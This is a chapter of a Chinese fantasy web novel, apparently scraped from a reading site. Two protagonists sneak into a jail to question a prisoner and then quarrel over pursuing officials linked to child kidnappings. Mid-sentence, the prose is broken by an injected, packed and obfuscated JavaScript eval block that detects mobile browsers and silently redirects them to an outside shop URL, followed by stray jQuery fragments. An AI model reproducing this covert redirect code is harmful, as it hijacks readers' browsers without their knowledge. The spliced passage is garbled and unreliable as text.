文趣网 > 其他小说 > 我怎么可能平平无奇 > 10. 争执
    一回生二回熟,这次两人进大牢可谓是轻车熟路。

    虞越翻过县衙的墙,循着墙边,顺利地从守卫视线死角摸到大牢门,她扭头朝辛烨挑眉道:“这世上果然没有白走的路。这前两天冤枉进大牢的经验就在这给用上了。”

    辛烨一把按住她的头,堪堪躲过照过来的烛火,嗤道:“等你真解决问题了,再来说这话。”

    虞越心里腹诽,此人太没有生活意趣,开个玩笑都不会应和一声。她收起心思,一心一意地看着牢内的情景。

    辛烨也没有心思听她心里的小九九,他紧盯着闲聊嗑瓜子打盹的守卫,趁着他们放松间隙,一把拉着虞越穿过牢狱大堂,穿梭在黝黑的走道里,不一会找到了赵猴儿所在的牢房。

    虞越看着牢房上生锈的锁,犯了难,转过头面带期盼对辛烨说道:“要麻烦你了。”

    既然会妖术,开个锁定然不在话下吧?

    辛烨目光沉沉地看着面前的锁。他虽身为妖,可一向光明磊落,甚少做这些不光彩的事。几天内境遇天翻地覆,不仅大半夜陪着她偷摸进大牢,如今甚至还要撬锁。

    虞越见他一脸为难样,劝道:“我们是为了救人的,开锁乃不得已而为。”

    他看了看虞越,压下心头的不适,手一挥,那锁便自己开了。

    虞越钻进大牢,走到赵猴儿身边,轻轻拍打着鼾声如雷的赵猴儿的脸:“猴儿猴儿,快起来,我有话要问你。”

    赵猴儿迷迷糊糊中眼睛掀开一条缝,看见虞越的脸又闭上眼睛翻了个身,身子打了个哆嗦,嘴里嘀咕道:“怎么做这么可怕的梦。”

    眼见他又要睡过去,虞越也顾不得礼貌客气,她猛力摇晃着他:“醒醒,醒醒,这是人命关天的事情。”

    赵猴儿终于在颠簸中睁开惺忪的睡眼,一睁眼看见的便是虞越那张脸。他摊开手臂,叹了一声:“姑奶奶,您又有什么事呢?”

    “你那天是不是提前通风报信,最后抓的人并不是全部,对不对?”虞越火急火燎地问,“你们剩下的人到哪里去了?”

    赵猴儿瞥了她一眼,懒懒地道:“我在你们眼皮子底下能报什么信啊,我要是知道剩下的人去哪里还会呆在这?”

    辛烨哂道:“你倒是义气,心甘情愿作替罪羊。”

    赵猴儿面无表情地翻了个身,语气中充满冷漠和了然:“从我被捉的那一刻我就预料到结局了,生也好死也罢,像我们这种人又怎么能决定自己的命运呢?”他摆出一副要剐要涮随你的姿态,打定主意不再开口。

    他闭上眼睛又要睡去,却又不知怎么的,睁开眼透过牢房小窗户,望着外面的月亮,善心大发地提醒一句:“我劝你们年纪轻轻的不要趟浑水,官府摆明了结案的姿态,你们就顺着他们的意离开吧。”

    “你才二十岁,你甘心就这样死去?!”虞越略略提高声音。

    “不然呢,你真能把我捞出去?”他嗤笑一声,“把我当三岁小孩骗呢。”

    “我还是早点到阎王爷那去偷个好胎值当,”他自嘲道,“下辈子不做这憋屈的人了,不如做只真猴儿。”

    虽然他咬死不吐露事情,但虞越仍从他的话语里略微猜到事情的走向——这窝贼大概是和官勾结。她心中虽然隐隐有了猜测,但此刻还是有些沉默。她凝望着赵猴儿决然赴死的背影,明白他并不是为了包庇同伙,而是他已经对官府——或者是对正义没有信任了。

    她想说一些劝慰的话或者激他的话,但在生死面前这些无用的话显得多么苍白。

    她站起身,心里暗暗发誓有朝一日要改变这样的现状。

    赵猴儿听着身后脚步声响起,不免惊讶于虞越不再胡搅蛮缠问他事情。他做好了应付她的准备,没想到根本用不上。

    大概是听进了他的话吧,他这样想。

    可不知为什么,心里却有些失落。

    “对了,”虞越顿住脚步,朝他说“我也是普通人,但我绝不会让我的人生随波逐流,也尽可能地掌握自己的命运。”

    “毕竟没有尝试,又怎么知道不可能?”

    在她刚跨出牢门那一刻,身后响起清明的声音:“我听见他们叫上头桃李。”

    说完,赵猴儿用薄薄的被子紧紧裹住自己,背对着他们沉沉地合上眼:“其他的我也没办法了。”

    虞越顿了顿,轻轻回了声:“谢了。”

    如法炮制地走出牢狱,他们转移到一个确定没人发现的地方。虞越这才迎着微凉的晚风,深深吸了口气,说道:“他倒是提醒了我。”

    “谁最希望我们不做追查。”她的目光望向不远处的县衙,心里有了盘算,“谁就有干系。”

    冷风一吹,吹散了她心中的情绪。她练剑习武,为的便是有朝一日能够为捍卫正义而挥动手中的剑。如今遇上此事,她势必要划破这灰暗的天。

    辛烨不知她的想法,心里却有了不同的盘算。刚刚在牢狱,他也听出了赵猴儿的言外之意,但他并不想插手。天下往往为利来,在巨大的利益面前,正义在一些人的心中不过是一句好听的话语。

    诚然,他知晓这祸害不得不除,但这与他并无关系,何况事情繁杂。

    毕竟人间那么多事他也管不完,人间的事也不归他管。

    眼下最重要的是找到收回妖力的方法和找到姨母吩咐的人。他理完头绪,缓缓吐了口气,语气冷淡地说:“此事孰是孰非跟你,跟我,都没有关系,不必再花时间。既然已经从这件事里脱身,我们即刻起身赶路。”

    ”什么?“虞越不敢相信自己听到了什么。她定定望着辛烨,见他神色不似玩笑。

    明明两人在办事上极为合拍,辛烨也摆出一副追查到底的样子,她不明白为什么辛烨此刻要叫她收手。

    他同样嫉恶如仇,而且他也并不是一个畏惧艰险和所谓权贵的人。

    “这些事情与我们没有关系,”辛烨神色淡淡,愈发笃定地说道,“这件事并不是你想解决就能解决的。我们现在要做的事情是去找到破解之法,把你身上的妖力还给我。”

    “至于之后,你要做什么与我没有关系。”

    虞越认真地和他解释道:“你也看到这里的官是什么样的人,如果我们不管这件事,那么就没有人管了。”

    辛烨沉默片刻,他听出了她的言外之意。他不禁用赞赏的眼光看着她,但说出口的话仍是:“我们还有自己的事,天下事是管不完的。”

    虞越看着面前神色不定的男人,突然轻笑道:“怎么?你有什么大事要做吗?”

    辛烨答:“自然。”

    “如果不把背后的贼窝连根拔起,等风波一过,又会有多少孩子遭到毒手,难道你心中的事情比这个还重要吗?”

    辛烨想到自己那些惨死的同胞和当年被毫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790259|210356||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无尊严地逐出长安的情形,终是姨母嘱托的任务占据了他的神思。

    他听出虞越语气中的嘲讽,不怒反笑说道:“我为的是千千万都在追寻的正义,是无数的血泪,和你在此家家酒逞英雄可不一样。”

    虞越看着他的眼睛,一字一句地说:“我并不是你口中所谓的逞英雄。我也在用我的方法追寻正义。天下事是管不完,但我做一分,这天下就好一分。

    “我看不见的,我或许无能为力;我看见的,我不可能袖手旁观。”

    “也许在你心中,这几个小孩的命不算什么,但我看见了,他们便如千钧重。”

    她收起一贯好言好语的乐呵呵的表情,冷冷地看着他:“道不同不相为谋。不过这件事,我管定了。”

    辛烨根本没办法说服她,虞越这个人看起来很好脾气,实际上骨子里头的倔强和执着是任何人都撼动不了的。在他眼里,她只是一个会点拳脚的普通人,根本没有什么拯救苍生的能力,可偏偏她凭着一腔孤胆就敢横冲直撞。

    他第一次认真地凝望面前的人,想起她在狱中对赵猴儿说的话,心里隐隐发觉,她说的可能是对的。

    像她这样的普通人,也可以执掌命运。

    或者说,她本就不是普通人。

    他终究还是叹了口气,不知是因为心中的良知,还是虞越的倔强。

    虞越不屑于跟他争辩,见他一言不发,转身融入夜色。

    她强迫自己冷静下来,仔细思考和分析当前的情况。

    依着赵猴儿的意思,这件事和官府脱不了干系。但究竟是谁做的,她暂时还没有头绪。或许要到县衙去一探究竟。

    她走进县衙,见大门已经落了锁。里头一片漆黑。

    她正琢磨着该怎么办,身后传来一阵窸悉簌簌的动静。

    不得不承认,这妖力让她耳力精进不少。

    “谁在那?”她警觉地回头,余光瞥见身后跟来的辛烨。

    从一人高的树后缓缓走出来一个肤白胜雪的女子,怎么看都与这里格格不入。

    她站在草丛边踟蹰不前,良久才犹犹豫豫地抬起头,欲说还休地望着辛烨。

    虞越疑惑地看向辛烨,见他一脸莫名。

    他很快注意到了这里的目光,回头看了她一眼,虞越随即若无其事把头扭到一旁。

    辛烨被虞越盯着有些尴尬,见她转开视线,这才看着面前陌生的女子。女子身材高挑,浑身透露一股清冷。但她顶着一张秾丽的脸,有些说不出的怪异。月光映在她澄澈的眸子里,倒显出几分良善。

    她斟酌许久,这才开口道:“你们是不是在追查那些被偷走的孩子。”

    虞越听见她这话,面露惊奇却心生警惕地望向她,实在不明白这样一个看起来文文弱弱的女子怎么会知道这些事,她不免想到这件事里的古怪,手探进袖中摸住匕首。

    辛烨见她的样子心中了然,开口问道:“你是那窝蛇妖。”

    女子轻咬下唇,半晌说:“是,那日你和我大哥在山上打斗,我都看到了。”

    辛烨变换出手中的剑问:“那你是来寻仇的?”

    女子感受到周围剑气涌动,她看着辛烨手中寒光凛凛的剑,连忙摆手说道:“不,不,你误会了。我大哥并无大碍。”

    她像做足了准备一般,深吸一口气,缓缓道:“你们捡到的蛇鳞是我的。”